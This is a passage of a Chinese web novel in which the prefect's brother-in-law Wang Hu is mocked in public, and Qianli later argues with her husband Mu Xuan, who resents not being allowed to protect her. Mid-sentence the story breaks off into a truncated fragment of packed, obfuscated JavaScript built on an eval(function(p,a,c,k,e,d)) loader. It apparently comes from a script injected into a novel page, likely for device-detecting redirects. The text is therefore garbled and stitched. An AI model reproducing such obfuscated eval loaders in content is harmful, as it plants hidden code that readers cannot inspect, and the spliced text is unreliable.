“哦哟,真是丢咱们宁国府人的脸,真不知道知府大人怎么会有这样败类的小舅子。” 王虎听着往日里对他毕恭毕敬的众人,今日一反常态地嘲讽起他来,顿时气得火冒三丈,气得额头青筋暴起。 “你们找死!我要让我姐姐把你们全都抓起来!”他正要招呼手下肆意打砸时,身后响起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千璃望着利落离去的陆知尧,心底狠狠地松了一大口气,感谢小乞丐他们,没想到从他们手里买来的信息一百通那么有用。 刚到府城,人生地不熟的,就怕不小心得罪哪个有身份的人,所以千璃特意提前了解了各方势力,这不,今日还真就派上了用场。 王虎一行人走后,店里依旧人声鼎沸,直到送走最后一波客人,千璃才有机会同穆玄面对面交谈。 只是,穆玄怕是气坏了。 “之前为什么又拦着我?你是不信我能保护你吗!”穆玄一颗心被愤怒和难过浸透,不上不下的鲠在喉间。 难道他不是千璃的丈夫吗?为什么不让自己保护她。 “你想错了,既然有办法更圆滑的解决,何必靠武力取胜,你还有被抓走的风险,不值当。只不过我委屈一些,就能解决问题,这不是一件很划算的事情吗。” 千璃更在意结果而不是过程。 可是,你的委屈又该谁来保护呢? 穆玄停下了辩解,他不愿也不想同千璃争吵,一双鹰眼黑压压地望着醉春楼门外,杀心渐起。